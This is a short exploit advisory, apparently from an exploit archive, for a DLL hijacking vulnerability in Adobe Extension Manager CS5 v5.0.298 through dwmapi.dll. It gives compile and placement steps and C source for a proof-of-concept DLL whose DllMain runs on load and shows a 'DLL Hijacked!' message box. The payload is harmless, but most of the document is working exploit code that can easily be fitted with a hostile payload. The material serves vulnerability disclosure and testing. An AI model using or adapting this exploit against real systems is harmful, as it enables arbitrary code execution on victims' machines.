Adobe Extension Manager CS5 v5.0.298 DLL Hijacking Exploit (dwmapi.dll)

2010-08-25 12:46:07

/*

Adobe Extension Manager CS5 v5.0.298 (dwmapi.dll) DLL Hijacking Exploit

Vendor: Adobe Systems Inc.
Product Web Page: http://www.adobe.com
Affected Version: CS5 v5.0.298

Summary: Easily install new extensions and manage the ones you already
have with the Adobe Extension Manager.

Desc: Adobe Extension Manager CS5 suffers from a dll hijacking vulnerability
that enables the attacker to execute arbitrary code on a local level. The
vulnerable extensions are .mxi and .mxp thru dwmapi.dll library.

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gcc -shared -o dwmapi.dll adobeem.c

Compile and rename to dwmapi.dll, create a file test.mxi or test.mxp and
put both files in same dir and execute.
----

Tested on Microsoft Windows XP Professional SP3 (EN)



Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk


25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int dll_mll()
{
MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}

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